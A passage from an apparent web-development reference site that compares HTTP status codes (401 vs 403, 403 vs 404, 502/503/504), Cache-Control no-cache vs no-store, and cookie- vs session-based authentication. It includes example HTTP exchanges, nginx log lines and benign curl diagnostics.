clients match on. ### What status code should malformed JSON return? 400. A body that fails to parse (unterminated string, trailing comma) is a syntax problem. Express body-parser, Spring (HttpMessageNotReadableException) and Rails (ParseError) all answer 400. FastAPI is the notable exception: its default handler reports JSON decode failures through the same 422 validation response. ### Why does FastAPI return 422 instead of 400? FastAPI treats every request-validation failure, including type mismatches and missing fields, as a RequestValidationError, and its default handler answers 422 with a "detail" array of error locations. You can change it by registering your own handler for RequestValidationError. ### Should a duplicate email on signup be 400, 422 or 409? Use 409 Conflict when the request is valid but collides with the current state of the resource, such as a unique constraint on email. Use 422 or 400 when the value itself is invalid, such as a malformed address. Many APIs return 422 for duplicates too, but 409 tells clients the same payload could succeed if the state changed. ### Do clients treat 400 and 422 differently? Browsers, proxies and generic HTTP libraries treat both as non-retryable 4xx errors and do not distinguish them. The distinction only matters to your own client code, which is why a stable error body (field names, machine-readable codes) is worth more than the number. ## References - [MDN Web Docs: 400 Bad Request](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/400) - [MDN Web Docs: 422 Unprocessable Content](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/422) - [RFC 9110: 400 Bad Request (section 15.5.1)](https://www.rfc-editor.org/rfc/rfc9110#section-15.5.1) - [RFC 9110: 422 Unprocessable Content (section 15.5.21)](https://www.rfc-editor.org/rfc/rfc9110#section-15.5.21) - [FastAPI: Handling Errors](https://fastapi.tiangolo.com/tutorial/handling-errors/) - [Laravel: Validation](https://laravel.com/docs/12.x/validation) --- # 401 vs 403: Authentication vs Authorization > Understand the difference between 401 Unauthorized and 403 Forbidden. Learn when each status code applies, common mistakes, and how to use them correctly in APIs. Source: https://howhttpworks.com/compare/401-vs-403 Last reviewed: 2026-10-04 > **TL;DR:** Use 401 when the client still needs valid credentials. Use 403 when the server knows the client identity but refuses the requested action. ## The Fastest Way To Decide Ask two questions in order: 1. does the server know who this client is 2. if yes, is this identity allowed to do this If the answer to the first question is no, return **401**. If the answer to the first question is yes but the second is no, return **403**. ## The Core Difference Despite the name, `401 Unauthorized` is really about **authentication**. `403 Forbidden` is about **authorization**. - **401 Unauthorized**: the request lacks valid credentials, or the credentials are expired or invalid - **403 Forbidden**: the identity is known, but access is still denied ## When Each Applies | Scenario | Correct Code | |---|---| | No `Authorization` header sent | 401 | | Invalid or expired token | 401 | | Valid token, but user lacks permission | 403 | | Admin-only resource accessed by regular user | 403 | | Resource exists but is hidden from this user | 403 (or 404) | | IP blocklist | 403 | | Rate limit exceeded | 429 (not 403) | ## The Header That Usually Gives 401 Away A 401 response **must** include a `WWW-Authenticate` header that tells the client how to authenticate: ```http HTTP/1.1 401 Unauthorized WWW-Authenticate: Bearer realm="api", error="invalid_token" ``` A 403 response does not carry an authentication challenge, because the problem is not "please authenticate." It is "authentication did not unlock this action." ## 403 vs 404 When You Want To Hide Existence There's a deliberate security pattern of returning 404 instead of 403 for resources that exist but the user shouldn't know about. If your API returns 403 for `/admin/users`, you've confirmed to an attacker that the endpoint exists. Returning 404 reveals nothing. This is called "security through obscurity" and is a valid defense-in-depth measure for sensitive resources. The tradeoff: it makes debugging harder for legitimate users. ## Browser Behavior Browsers handle 401 specially: they may show a native authentication dialog (for `Basic` auth challenges) or trigger your app's login flow. A 403 gets no special browser treatment — it's just an error response. ## Common Mistakes **Returning 403 when credentials are missing** — if the client never authenticated successfully, the server is not at the permission question yet. **Returning 401 for permission failures** — telling a logged-in user to "authenticate again" when they simply lack access is misleading and makes client behavior worse. **Using 403 for rate limiting** — rate limiting is `429 Too Many Requests`, not an auth decision. **Forgetting to log real 403s** — they are often valuable signals for permission bugs or access probing. ## API Design Guidance For REST APIs: ```http GET /api/profile → 401 (no token) GET /api/profile → 200 (valid token, own profile) GET /api/users/other-id → 403 (valid token, not your profile) GET /api/admin/dashboard → 403 (valid token, not an admin) ``` For the 403 case where you want to hide resource existence: ```http GET /api/users/other-id → 404 (valid token, resource hidden) ``` Choose 403 when the user should know the resource exists but they can't access it. Choose 404 when revealing the resource's existence is itself a security concern. ## FAQ ### Why is 401 called "Unauthorized" if it is about authentication? Historical naming accident. RFC 9110 section 15.5.2 defines that 401 means the request lacks valid authentication credentials. The name "Unauthorized" is misleading — it should have been called "Unauthenticated". Authorization failures are correctly represented by 403. ### Should I return 403 or 404 when a user tries to access a resource they should not know exists? Return 404. Returning 403 confirms to an attacker that the resource exists. Returning 404 reveals nothing. This is a valid defense-in-depth measure for sensitive resources, though it makes debugging harder for legitimate users. ### Does a 401 response require a WWW-Authenticate header? Yes, per RFC 9110 section 15.5.2. A 401 response must include a WWW-Authenticate header that tells the client how to authenticate. Omitting it is a spec violation. A 403 does not include this header. ### What should I return when a valid API key has insufficient permissions? Return 403. The client is authenticated (you know who they are via the API key) but not authorized to perform the requested action. Reserve 401 for missing or invalid credentials. ### What is the difference between 403 and 429? 403 Forbidden means the server refuses to authorize the request regardless of how many times it is retried. 429 Too Many Requests means the client has exceeded a rate limit and should retry after a delay. Never use 403 for rate limiting. ## References - [MDN Web Docs: 401 Unauthorized](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/401) - [MDN Web Docs: 403 Forbidden](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) - [RFC 9110: HTTP Authentication (section 11)](https://www.rfc-editor.org/rfc/rfc9110#section-11) --- # 403 vs 404: Forbidden or Not Found > 403 Forbidden vs 404 Not Found: when to admit a resource exists, when to hide it, the GitHub private-repo example, and the debugging cost of masking 403 as 404. Source: https://howhttpworks.com/compare/403-vs-404 Last reviewed: 2026-10-04 > **TL;DR:** Return 404 when the resource does not exist, or when admitting it exists would leak something. Return 403 when the caller is allowed to know the resource is there but is not permitted to access it. RFC 9110 explicitly lets a server answer 404 to hide a forbidden resource, and GitHub does exactly this for private repositories. ## Side By Side | | 403 Forbidden | 404 Not Found | |---|---|---| | Says | I understood the request and refuse it | I have nothing here (or will not say) | | Confirms the resource exists | Yes | No | | Fix for the caller | Get permission, a different role, a different IP | Fix the URL, or accept it is gone | | Cacheable by default | No | Yes (heuristically cacheable, RFC 9110 section 15.5.5) | | Retry after logging in | Possibly | Possibly, if the 404 was masking a 403 | | Logged as | Permission signal worth alerting on | Mostly noise from crawlers and broken links | ## The Decision Ask whether the caller is allowed to learn that the resource exists. 1. The resource really does not exist: **404**. 2. It exists and the caller may know that, but cannot act on it (a shared document in view-only mode, an admin button for a member): **403**. 3. It exists and the caller must not even learn that (another tenant's invoice, a private repo, a user ID that could be enumerated): **404**, with the same body and headers as a genuine miss. ## Raw Exchanges An invoice that belongs to another tenant. Both cases below give the attacker the same answer: ```http GET /api/invoices/inv_90210 HTTP/1.1 Host: api.example.com Authorization: Bearer eyJhbGciOi... ``` ```http HTTP/1.1 404 Not Found Content-Type: application/json {"error": "not_found"} ``` The same request for `inv_00000` (which truly does not exist) must return byte-identical content, otherwise the body itself is an oracle. Compare a document the user can see but not edit: ```http PUT /api/documents/doc_17 HTTP/1.1 Host: api.example.com Authorization: Bearer eyJhbGciOi... Content-Type: application/json {"title": "Q4 plan"} ``` ```http HTTP/1.1 403 Forbidden Content-Type: application/json {"error": "forbidden", "detail": "Requires editor role on this document."} ``` Here the user already saw the document in a list, so denying existence would just confuse them. ## GitHub As The Reference Case GitHub's REST API documentation states that it "uses a `404 Not Found` response instead of a `403 Forbidden` response to avoid confirming the existence of private repositories." In practice: ```bash curl -i https://api.github.com/repos/some-org/private-repo ``` returns `404 Not Found` for an unauthenticated caller. A debugging consequence: when you hit an unexpected 404 from GitHub (or a CI token step fails with "repository not found"), check the token's scopes, SSO authorization for the org, and repo access before assuming the URL is wrong. A genuinely missing repo and a repo you cannot see are indistinguishable by design. ## Common Mistakes **Hiding existence in one place and leaking it in another.** The 404 on `GET /projects/{id}` is undone if `POST /projects` returns "name already taken in another org," or a search endpoint autocompletes the private name. **Different bodies or timing.** A 404 with `{"error": "no such invoice"}` for a miss and `{"error": "not_found"}` for a masked 403 reveals the difference. Database lookups that return fast for misses and slow for permission checks add a timing signal. Keep both paths on the same code and response shape. **Using 404 everywhere and losing debuggability.** Developers and support staff can no longer tell a typo from a permission bug. Log the real reason server-side with a request ID, and include that ID in the response so support can look it up. **Using 403 for unauthenticated callers.** If the caller has not authenticated at all and could succeed by logging in, the answer is 401 with `WWW-Authenticate`. See [401 vs 403](https://howhttpworks.com/compare/401-vs-403). **Returning 403 for rate limits or bot blocks without a body.** [429](https://howhttpworks.com/status-codes/429) is the rate-limit code, and a WAF block should say which rule fired in its own page or `Server` signature, so people can tell it apart from an application permission error. **403 on missing S3 keys.** Without `s3:ListBucket`, S3 answers missing objects with 403 rather than 404. It looks like a permission bug, and it is S3 hiding existence the same way. Grant list access if you want honest 404s. **Soft 404s.** A "page not found" page served with 200 is neither of these; search engines treat it as a soft 404, and clients cannot tell it from success. ## Quick Debug ```bash curl -i https://example.com/admin/reports curl -i -H 'Authorization: Bearer ' https://example.com/admin/reports ``` If the first call is 404 and the second is 200, the route exists and the 404 was masking missing authentication. Compare with the 403 reference at [HTTP 403 Forbidden](https://howhttpworks.com/status-codes/403) and [HTTP 404 Not Found](https://howhttpworks.com/status-codes/404). ## FAQ ### Should I return 403 or 404 for resources a user is not allowed to see? If the existence of the resource is sensitive (private repositories, other tenants' records, admin-only routes, account lookups), return 404 so the response does not confirm it. If the user can already see that it exists, for example a listed document they lack edit rights on, return 403 so they know to request access. RFC 9110 section 15.5.4 explicitly allows an origin server to use 404 to hide a forbidden resource. ### Does GitHub return 404 for private repositories? Yes. GitHub's REST API documentation says it uses a 404 Not Found response instead of 403 Forbidden to avoid confirming the existence of private repositories. So an unauthenticated request for a private repo and a request for a repo that does not exist look the same, The same masking commonly shows up when a token lacks access to a private repo. ### Is 404 instead of 403 actually secure? It closes the direct existence oracle but not every side channel. Timing differences between "not found" and "found but denied" code paths, different response sizes or headers, and other endpoints (search, autocomplete, sharing dialogs) can still leak existence. It is defense in depth, not a substitute for authorization checks. ### Why do I get 403 for a page that loads fine in my browser? The server or a WAF is deciding on something other than the URL: your IP, a missing or odd User-Agent, a missing Referer, a geo block, or a bot-detection rule. Compare the exact headers curl sends against those your browser sends, and check for a Cloudflare or WAF block page, which will name the rule. ### Should a missing file on a static site be 403 or 404? It should be 404. Some storage backends return 403 for missing keys when the caller lacks list permission, such as an S3 bucket without s3:ListBucket, precisely to avoid revealing whether keys exist. If you see 403 on missing objects there, check the bucket policy. ### Which should a deleted resource return, 404 or 410? 410 Gone tells clients and crawlers the removal is deliberate and permanent. 404 says nothing about permanence. Neither has anything to do with 403, which is about permission. ## References - [MDN Web Docs: 403 Forbidden](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) - [MDN Web Docs: 404 Not Found](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/404) - [RFC 9110: 403 Forbidden (section 15.5.4)](https://www.rfc-editor.org/rfc/rfc9110#section-15.5.4) - [RFC 9110: 404 Not Found (section 15.5.5)](https://www.rfc-editor.org/rfc/rfc9110#section-15.5.5) - [GitHub Docs: Troubleshooting the REST API](https://docs.github.com/en/rest/using-the-rest-api/troubleshooting-the-rest-api) --- # 502 vs 503 vs 504: Which Gateway Error Is It > 502, 503 and 504 side by side: who generated each one, what the upstream did, the nginx error-log line that proves it, and the Cloudflare 52x and ALB equivalents. Source: https://howhttpworks.com/compare/502-vs-503-vs-504 Last reviewed: 2026-10-04 > **TL;DR:** 502 means the upstream sent something unusable or hung up on the proxy. 504 means the upstream never answered before the proxy's timer ran out. 503 means a server deliberately said "not now" because of overload, maintenance or a limit. Read the proxy's error log line: it names which of the three happened and which upstream did it. ## The Three In One Table | | 502 Bad Gateway | 503 Service Unavailable | 504 Gateway Timeout | |---|---|---|---| | Who generates it | A proxy, gateway or CDN | The origin, or a proxy/LB acting on policy | A proxy, gateway or CDN | | What the upstream did | Refused, reset, closed early or sent an invalid response | Nothing wrong with the wire; it (or the LB) chose to refuse | Accepted the connection but did not answer in time | | Spec | RFC 9110 15.6.3 | RFC 9110 15.6.4 | RFC 9110 15.6.5 | | `Retry-After` expected | No | Optional, often useful | No | | Usual root cause | App crashed, wrong port or socket, keep-alive race, oversized headers | Overload, deploy drain, no registered targets, rate or connection limit | Slow query, blocked worker, timeout shorter than the work | | nginx error log | `connect() failed (111: Connection refused)`, `upstream prematurely closed connection`, `recv() failed (104: Connection reset by peer)` | `limiting requests, excess: ...` (limit_req) or `limiting connections by zone` (limit_conn) | `upstream timed out (110: Connection timed out) while reading response header from upstream` | | Cloudflare cousins | 502, 520, 521, 523 | 503 (from your origin or Cloudflare) | 504, 522, 524 | | Detail pages | [502](https://howhttpworks.com/status-codes/502), [nginx 502 fix](https://howhttpworks.com/debug/nginx-502-bad-gateway) | [503](https://howhttpworks.com/status-codes/503) | [504](https://howhttpworks.com/status-codes/504), [nginx 504 fix](https://howhttpworks.com/debug/nginx-504-gateway-timeout) | ## Step 1: Who Sent It Before reading any log, work out which layer produced the status. A 5xx from your app and a 5xx from the proxy in front of it look identical in a browser. ```bash curl -sS -D - -o /dev/null https://example.com/api/slow ``` Things to look at in the headers and body: - `Server: nginx` with a plain centered "502 Bad Gateway" body: nginx generated it. Your app may not have been reached. - `Server: cloudflare` plus a `CF-Ray` header, and a branded error page with a numeric code (520-526): Cloudflare generated it, and the code tells you what happened between Cloudflare and your origin. - `Server: awselb/2.0`: an AWS Application Load Balancer. Its 502, 503 and 504 appear in the ALB access log with `elb_status_code` set and `target_status_code` set to `-` when the target never responded. - Your framework's own error format (JSON from your API, a Django or Rails page): the application produced it. Check the app log, not the proxy. ## Step 2: What The Upstream Did nginx writes one error-log line per failure with the upstream address, and that line almost always settles it. ```text 2026/10/04 09:12:31 [error] 2841#2841: *9087 connect() failed (111: Connection refused) while connecting to upstream, client: 203.0.113.9, server: example.com, request: "GET /api/orders HTTP/1.1", upstream: "http://127.0.0.1:3000/api/orders", host: "example.com" ``` `connect() failed (111: Connection refused)` means nothing is listening on that port. The app is down, crashed or bound to a different address: **502**. ```text 2026/10/04 09:14:02 [error] 2841#2841: *9102 upstream prematurely closed connection while reading response header from upstream, upstream: "http://127.0.0.1:3000/api/orders" ``` The upstream accepted the request and closed the socket without a response. A worker was killed (OOM, `max_requests` recycling) or a keep-alive connection was reused after the app closed it: **502**. ```text 2026/10/04 09:15:47 [error] 2841#2841: *9130 upstream timed out (110: Connection timed out) while reading response header from upstream, upstream: "http://127.0.0.1:3000/api/report" ``` The upstream connected but sent no response header within `proxy_read_timeout`, which defaults to 60 seconds: **504**. If the line ends with `while connecting to upstream`, it hit `proxy_connect_timeout` (also 60s by default), meaning the host is unreachable or its accept queue is full. ```text 2026/10/04 09:16:20 [error] 2841#2841: *9144 limiting requests, excess: 5.420 by zone "perip", client: 203.0.113.9 ``` This is nginx deliberately rejecting traffic with `limit_req`, which answers **503** unless you set `limit_req_status 429;`. Not an upstream fault at all. ## Step 3: Cloudflare And Load Balancer Equivalents | What happened | nginx says | Cloudflare shows | AWS ALB | |---|---|---|---| | Origin refused the connection | 502, `Connection refused` | 521 Web Server Is Down | 502 | | Origin closed the connection or replied with garbage | 502, `prematurely closed` | 520 Web Server Returned an Unknown Error | 502 | | TCP connect to origin timed out | 504, `while connecting to upstream` | 522 Connection Timed Out | 504 | | Origin took too long to respond | 504, `while reading response header` | 524 A Timeout Occurred (100 s by default on non-Enterprise) | 504 once the idle timeout (60 s default) expires | | No route to origin | n/a | 523 Origin Is Unreachable | n/a | | TLS failure toward origin | 502, `SSL_do_handshake() failed` | 525 SSL Handshake Failed, 526 Invalid SSL Certificate | 502 | | Deliberate shedding or maintenance | 503 | 503 passed through from origin | 503 when the target group has no registered targets | Per-code pages: [520](https://howhttpworks.com/status-codes/520), [521](https://howhttpworks.com/status-codes/521), [522](https://howhttpworks.com/status-codes/522), [523](https://howhttpworks.com/status-codes/523), [524](https://howhttpworks.com/status-codes/524), [525](https://howhttpworks.com/status-codes/525), [526](https://howhttpworks.com/status-codes/526). ## Which Should I Return From My Own Gateway If you write a reverse proxy, API gateway or BFF, the spec guidance maps directly: ```http HTTP/1.1 502 Bad Gateway Content-Type: application/json {"error": "upstream_invalid_response", "upstream": "orders"} ``` Use 502 when you reached the upstream and its response was unusable or the connection failed. Use 504 when you waited and the deadline passed. Use 503 when you chose to refuse, for example a circuit breaker is open or a queue is full, and add `Retry-After`: ```http HTTP/1.1 503 Service Unavailable Retry-After: 30 Content-Type: application/json {"error": "overloaded"} ``` A plain application (not a gateway) that hit its own failure should usually return [500](https://howhttpworks.com/status-codes/500), not 502 or 504, because there was no upstream. ## Common Mistakes **Raising `proxy_read_timeout` to fix a 504 without finding the slow call.** The user still waits longer, and an ALB or Cloudflare in front has its own, lower limit. A 524 at 100 seconds ignores your nginx setting. **Reading a 502 as "the app is down."** Frequently the app is up and nginx is reusing an idle keep-alive connection the app already closed (app keep-alive shorter than the proxy's), or the response headers exceeded `proxy_buffer_size` (`upstream sent too big header while reading response header from upstream`). **Letting health checks pass while real requests fail.** A `/health` that returns 200 without touching the database keeps the instance in rotation while every real request hangs into a 504. **Retrying non-idempotent calls after a 504.** The upstream often completed the write after the proxy gave up. Retrying a payment POST without an idempotency key double-charges. **Serving 503 for maintenance without `Retry-After`.** Crawlers and clients then guess. Send the header, and for planned maintenance keep the window short so search engines treat it as temporary. ## FAQ ### What is the difference between 502 and 504? Both are generated by a proxy or gateway, not by your application. 502 Bad Gateway means the proxy got an invalid response or the connection was refused or reset. 504 Gateway Timeout means the proxy gave up waiting for any response. In nginx the error log says "connect() failed (111: Connection refused)" or "upstream prematurely closed connection" for 502, and "upstream timed out (110: Connection timed out)" for 504. ### Is a 503 the same as a 502? No. RFC 9110 section 15.6.4 defines 503 as the server being currently unable to handle the request due to overload or maintenance, and it may carry a Retry-After header. A 503 is usually a deliberate answer (a load shedder, a rate limit in nginx, an ALB target group with no registered targets), whereas a 502 is the proxy reporting that the upstream misbehaved. ### Why do I get 502 on one request and 504 on the next? Usually one upstream instance is dying slowly. Requests hitting a crashed worker get a reset (502); requests landing on a wedged one hang until the proxy timeout (504). Check whether the failures correlate with a specific upstream IP in the error log, and with deploys, memory kills, or keep-alive timeouts shorter than the proxy idle timeout. ### Which of these should clients retry? All three are generally worth retrying with backoff for idempotent requests, and 503 may tell you how long to wait via Retry-After. Do not blindly retry a POST after a 504: the upstream may have finished the work after the proxy stopped waiting, so use an idempotency key. ### What do Cloudflare 520, 521, 522, 523 and 524 correspond to? They are Cloudflare-specific refinements of the same ideas. 520 (unknown or empty response) and 521 (origin refused the connection) map loosely to 502 territory; 522 (TCP connect timed out) and 524 (origin did not send a response within the proxy read timeout, 100 seconds by default on non-Enterprise plans) map to 504 territory; 523 means Cloudflare has no route to the origin IP. ### How do I know whether the 502 came from my app or from the proxy? Look at the response headers and body. A default nginx error page says "502 Bad Gateway" with "nginx" under it, a Cloudflare error shows a branded page with a Ray ID and a CF-Ray header, and an AWS ALB returns a bare-bones page with a Server: awselb/2.0 header. If your application framework would have rendered the error, you would see its own format, and your app logs would show the request. ## References - [MDN Web Docs: 502 Bad Gateway](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/502) - [MDN Web Docs: 503 Service Unavailable](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/503) - [MDN Web Docs: 504 Gateway Timeout](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/504) - [RFC 9110: 502 Bad Gateway (section 15.6.3)](https://www.rfc-editor.org/rfc/rfc9110#section-15.6.3) - [RFC 9110: 503 Service Unavailable (section 15.6.4)](https://www.rfc-editor.org/rfc/rfc9110#section-15.6.4) - [RFC 9110: 504 Gateway Timeout (section 15.6.5)](https://www.rfc-editor.org/rfc/rfc9110#section-15.6.5) - [nginx: ngx_http_proxy_module](https://nginx.org/en/docs/http/ngx_http_proxy_module.html) - [Cloudflare: Troubleshooting 5xx errors](https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/) --- # Cache-Control: no-cache vs no-store > Compare the no-cache and no-store Cache-Control response directives and choose the correct policy for sensitive or frequently changing responses. Source: https://howhttpworks.com/compare/no-cache-vs-no-store Last reviewed: 2026-10-04 > **TL;DR:** `no-cache` means a cache may store the response but must revalidate it with the origin before every reuse. `no-store` means do not store it at all. Neither is a security boundary on its own: for secrets use `no-store`, and for per-user pages add `private` so shared caches never keep them. ## The Core Difference This comparison covers the directives as they apply to responses; similarly named request directives have related but distinct semantics. The names are misleading. `no-cache` does not prevent storage. It allows a browser or shared cache to store the response, but requires the cache to validate that stored response with the origin before reuse. That validation normally requires a network request. `no-store` is the directive that tells caches not to store the response. It is the appropriate default for highly sensitive, personalized responses when retaining a copy would create an unacceptable privacy or security risk. | Behavior | `no-cache` | `no-store` | |---|---|---| | Cache may save the response | Yes | No | | Reuse without contacting origin | No | No | | Conditional validation with ETag or Last-Modified | Yes | Not applicable | | Suitable for frequently changing public content | Yes | Usually wasteful | | Suitable for highly sensitive responses | Not by itself | Yes | ## What `no-cache` Does With `Cache-Control: no-cache`, a cache can retain the response. Before reuse, it sends a conditional request using a validator such as `If-None-Match` or `If-Modified-Since`. ```http GET /account/preferences HTTP/1.1 Host: example.com If-None-Match: "preferences-v8" ``` If the representation has not changed, the origin can return [304 Not Modified](https://howhttpworks.com/status-codes/304). The cache then reuses its stored body. This still requires a round trip, but avoids transferring the full representation. Use `no-cache` when freshness must be checked on every use but retaining and conditionally reusing the body is acceptable. It works well for HTML documents, configuration responses, and other content that changes unpredictably. ## What `no-store` Does `Cache-Control: no-store` tells private and shared caches not to store the request or response. A later request needs a new response body from the origin because there should be no retained representation to validate. ```http HTTP/1.1 200 OK Content-Type: application/json Cache-Control: no-store {"recoveryCodes":["..."]} ``` Use `no-store` for responses containing secrets or unusually sensitive personal data, such as recovery codes, one-time credentials, or financial account details. Do not apply it to every authenticated response automatically: preventing storage also removes useful HTTP caching. `no-store` is an instruction to compliant caches, not a guarantee. A malicious or compromised cache can ignore it, and the directive does not remove copies that were stored before the response changed to `no-store`. Continue to use HTTPS, access control, data minimization, and application-specific protections. ## Which Directive Should You Choose? Choose based on the consequence of retaining the response, not merely whether the content changes: - Use `no-cache` when the content may be stored but must be revalidated before reuse. - Use `no-store` when storing the response itself is unacceptable. - Use `private, no-cache` for personalized content that a browser may retain and validate but a shared cache must not store. - Use `public, max-age=...` for intentionally reusable public content with a known freshness period. Try combinations in the [Cache-Control Builder](https://howhttpworks.com/tools/cache-builder), then inspect a deployed response with the [Header Inspector](https://howhttpworks.com/tools/inspect). ## Common Mistakes ### Treating `no-cache` as "do not cache" The directive requires validation; it does not prohibit storage. Use `no-store` when retaining a copy is the actual risk. ### Combining every restrictive directive `no-store, no-cache, max-age=0, must-revalidate` plus `Pragma: no-cache` is common cargo-cult configuration. `no-store` already prohibits storage, so the revalidation directives add nothing for compliant caches. `Pragma: no-cache` is only defined for requests (RFC 9111 section 5.4) and is not a reliable response header. ### Using `no-store` to fix stale static assets Hashed JavaScript, CSS, fonts, and images should normally use long-lived caching. Fix asset versioning instead of disabling storage globally. ### Forgetting shared caches For personalized responses that may be browser-cached, add `private`. It prevents a compliant shared cache from storing the response while still allowing private-cache behavior. ## Browser and CDN behavior - A normal reload revalidates; a hard reload bypasses the cache. Back/forward navigation may show a stored page without any request, because history entries are not subject to normal freshness rules. - Chrome's back/forward cache (bfcache) has historically skipped pages whose main resource is `Cache-Control: no-store`, so `no-store` can make back navigation slower. Chrome has been enabling bfcache for some such pages; check current Chrome documentation before relying on either behavior. - A CDN given `no-cache` stores the object and revalidates against your origin each time. Use `private` for per-user responses, and `CDN-Cache-Control` (RFC 9213) when the CDN needs a different policy from browsers. ## Reproduce ```bash curl -sI https://example.com/account | grep -iE '^(cache-control|etag|age|pragma|vary)' curl -si https://example.com/app.js -H 'If-None-Match: "abc123"' | head -1 # 304 when the validator matches ``` An `Age:` header on a response marked `no-store` means some cache stored it anyway, typically a CDN rule that overrides origin headers. ## FAQ ### What is the difference between no-cache and no-store? `no-cache` allows storage but requires validation (an `If-None-Match` or `If-Modified-Since` request) before reuse. `no-store` forbids storing the response, so there is nothing to revalidate and every request returns a full body. ### Does no-cache mean the browser does not cache? No. The browser keeps a copy and asks the origin whether it is still valid. If the origin answers 304 Not Modified the stored body is reused. Use `no-store` when you mean "do not keep a copy". ### Should I use no-store for authenticated pages? Only where a stored copy is a real risk, such as account numbers, recovery codes or one-time tokens. For ordinary per-user pages `private, no-cache` keeps them out of shared caches while still allowing cheap conditional requests. ### Do I need both no-cache and no-store? No. With `no-store` present a compliant cache stores nothing, so `no-cache` is redundant. The common `no-store, no-cache, must-revalidate` line is legacy belt-and-braces. ### What Cache-Control should HTML pages use? For HTML that changes often and is not sensitive, `Cache-Control: no-cache` with a strong `ETag` gives fresh content and cheap 304 responses. Reserve long `max-age` with `immutable` for fingerprinted assets. ## References - [RFC 9111: Cache-Control response directives](https://www.rfc-editor.org/rfc/rfc9111#section-5.2.2) - [RFC 9111: Pragma (section 5.4)](https://www.rfc-editor.org/rfc/rfc9111#section-5.4) - [RFC 9213: Targeted HTTP Cache Control](https://www.rfc-editor.org/rfc/rfc9213) - [MDN: Cache-Control](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cache-Control) --- # Cookie-Based vs Session-Based Authentication > Compare cookie-based and session-based authentication. Understand where state lives, security tradeoffs, scalability implications, and when to use each approach. Source: https://howhttpworks.com/compare/cookie-vs-session Last reviewed: 2026-10-05 > **TL;DR:** Both approaches usually use cookies. The real difference is whether the cookie carries a self-contained token or an opaque session ID that maps to server-side state. ## The First Clarification This comparison is easy to misunderstand because **sessions usually use cookies too**. So the real choice is not "cookie or session." It is: - does the cookie carry a self-contained token - or does the cookie carry a lookup key for server-side session state ## The Core Difference Both models persist auth state across otherwise stateless HTTP requests. The difference is where the meaningful auth state lives: - **Token-in-cookie auth**: the cookie contains a signed token, often a JWT, with claims the server can verify directly - **Session-based auth**: the cookie contains an opaque session ID, and the real auth state lives server-side ## Where State Lives | | Cookie-Based | Session-Based | |---|---|---| | Auth data location | Client (in the cookie) | Server (database/cache) | | Cookie contains | Signed token (e.g., JWT) | Opaque session ID | | Server memory required | No | Yes | | Database lookup per request | No | Yes (to load session) | ## Scalability Cookie-based auth scales horizontally with zero coordination. Each server can independently verify the token by checking its signature — no shared state required. This makes it natural for microservices and multi-region deployments. Session-based auth requires all servers to access the same session store. In a single-server setup this is trivial (in-memory). In a multi-server setup you need a shared store (Redis, database) or sticky sessions (routing the same user to the same server). This adds infrastructure complexity. ## Revocation Is Usually The Deciding Factor This is where session-backed auth usually wins: **Session-based**: To log out a user or revoke access, delete the session from the server. The next request with that session ID will fail immediately. You can also invalidate all sessions for a user (e.g., "log out everywhere") by deleting all their sessions. **Cookie-based**: A self-contained JWT stays valid until it expires unless every verifier also checks some server-side state. If a JWT is valid for 24 hours and a user's account is compromised, the token keeps working unless you have built a revocation check. Workarounds exist (token blocklists, short expiry + refresh tokens) but they add complexity and partially negate the scalability benefit. ## Security Considerations | | Cookie-Based | Session-Based | |---|---|---| | Token theft impact | High (valid until expiry) | Lower (delete session to revoke) | | Payload visible to client | Yes (JWT is base64-encoded) | No (opaque ID) | | Sensitive data in token | Avoid | N/A (data is server-side) | | CSRF risk | Same (both use cookies) | Same | Both approaches need the same cookie hygiene: `HttpOnly`, `Secure`, and an intentional `SameSite` policy. The practical difference is revocability. A stolen session ID can usually be killed immediately. A stolen JWT usually remains valid until it expires unless you add blocklists or token rotation infrastructure. ## Token Size JWTs can grow large. A token with user ID, email, roles, and custom claims might be 500–1000 bytes. This is sent with every request. Session IDs are typically 32–64 bytes. For high-traffic APIs, the difference in request size is negligible. For cookie-heavy pages with many sub-requests, it can add up. ## When To Use Each **Use cookie-based (JWT in cookie) when:** - You need horizontal scalability without a shared session store - You're building a stateless API consumed by multiple clients - You can tolerate short token lifetimes (15–60 minutes) with refresh token rotation - You're building microservices that need to verify identity independently **Use session-based when:** - You need immediate revocation (financial apps, admin panels, high-security contexts) - You're building a traditional web app with a single server or shared Redis - You want to store large amounts of user state server-side - Simplicity is more important than horizontal scalability ## The Hybrid Approach Many production systems combine the two: a short-lived access token for ordinary requests and a longer-lived refresh token that is backed by server-side state. That preserves good request-path performance while still giving the system a place to revoke long-lived access deliberately. ## FAQ ### Can you use JWTs with session-based auth? Yes, but it is unusual. JWTs are typically used for stateless (cookie-based) auth where the token itself carries claims. Session-based auth uses an opaque session ID, not a JWT, because the data lives server-side. ### How do you log out a user with cookie-based auth? You cannot truly invalidate a JWT before it expires. Common workarounds include short expiry times (15 minutes) with refresh token rotation, or maintaining a server-side token blocklist — which partially negates the stateless benefit. ### Which approach is more secure? Session-based auth is easier to secure because you can revoke access instantly by deleting the session. Cookie-based auth with JWTs requires careful expiry management and refresh token rotation to achieve similar security guarantees. ### What is refresh token rotation? A pattern where short-lived access tokens (JWTs, 15 minutes) are paired with long-lived refresh tokens stored as sessions. When the access token expires, the client exchanges the refresh token for a new one. The refresh token is invalidatable server-side, giving you revocation capability. ### Do both approaches use cookies? Yes. Both typically use cookies to store the token or session ID. The difference is what the cookie contains: a signed JWT (cookie-based) or an opaque random ID (session-based). Both need HttpOnly and Secure attributes. ## References - [MDN Web Docs: HTTP Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies) - [OWASP Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) - [RFC 7519: JSON Web Token (JWT)](https://www.rfc-editor.org/rfc/rfc7519) See also [JWT vs session cookies](https://howhttpworks.com/compare/jwt-vs-session-cookies) for bearer-header authentication, and [CORS vs CSRF](https://howhttpworks.com/compare/cors-vs-csrf) for protecting cookie-authenticated writes. --- # Cookies vs 